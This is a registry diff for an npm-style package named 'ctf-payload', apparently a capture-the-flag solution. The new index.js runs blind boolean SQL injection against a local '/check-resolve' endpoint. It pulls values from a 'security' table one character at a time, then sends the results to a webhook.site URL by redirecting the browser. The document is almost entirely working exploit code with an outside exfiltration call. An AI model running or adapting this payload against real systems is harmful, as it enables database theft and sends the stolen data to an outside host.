ctf-payload 1.0.59 → 1.0.60
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +20 -17
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,24 +1,27 @@
|
|
|
1
1
|
if(window.location.hostname === '127.0.0.1'){
|
|
2
|
-
async function
|
|
3
|
-
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_
|
|
4
|
-
for(let c of chars){
|
|
5
|
-
const body = `id=0 UNION SELECT CASE WHEN (SELECT substr(${col},${pos},1) FROM ${table} LIMIT 1 OFFSET 4)='${c}' THEN 'Done' ELSE 'Not yet' END--`;
|
|
6
|
-
const r = await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
|
|
7
|
-
const t = await r.text();
|
|
8
|
-
if(t.includes('"Done"')) return c;
|
|
9
|
-
}
|
|
10
|
-
return '?';
|
|
11
|
-
}
|
|
12
|
-
async function extract(){
|
|
2
|
+
async function extractVal(col, offset){
|
|
3
|
+
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-!@#';
|
|
13
4
|
let result = '';
|
|
14
|
-
for(let i=1;i<=
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
5
|
+
for(let i=1;i<=60;i++){
|
|
6
|
+
let found = false;
|
|
7
|
+
for(let c of chars){
|
|
8
|
+
const body = `id=0 UNION SELECT CASE WHEN (SELECT substr(${col},${i},1) FROM security LIMIT 1 OFFSET ${offset})='${c}' THEN 'Done' ELSE 'Not yet' END--`;
|
|
9
|
+
const r = await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
|
|
10
|
+
const t = await r.text();
|
|
11
|
+
if(t.includes('"Done"')){ result+=c; found=true; break; }
|
|
12
|
+
}
|
|
13
|
+
if(!found) break;
|
|
18
14
|
}
|
|
19
|
-
|
|
15
|
+
return `offset${offset}_${col}=${result}`;
|
|
20
16
|
}
|
|
21
|
-
|
|
17
|
+
Promise.all([
|
|
18
|
+
extractVal('content',5),
|
|
19
|
+
extractVal('content',6),
|
|
20
|
+
extractVal('title',4),
|
|
21
|
+
extractVal('title',5)
|
|
22
|
+
]).then(results=>{
|
|
23
|
+
window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+encodeURIComponent(results.join('|'));
|
|
24
|
+
});
|
|
22
25
|
} else {
|
|
23
26
|
window.location='http://127.0.0.1:31337/part2';
|
|
24
27
|
}
|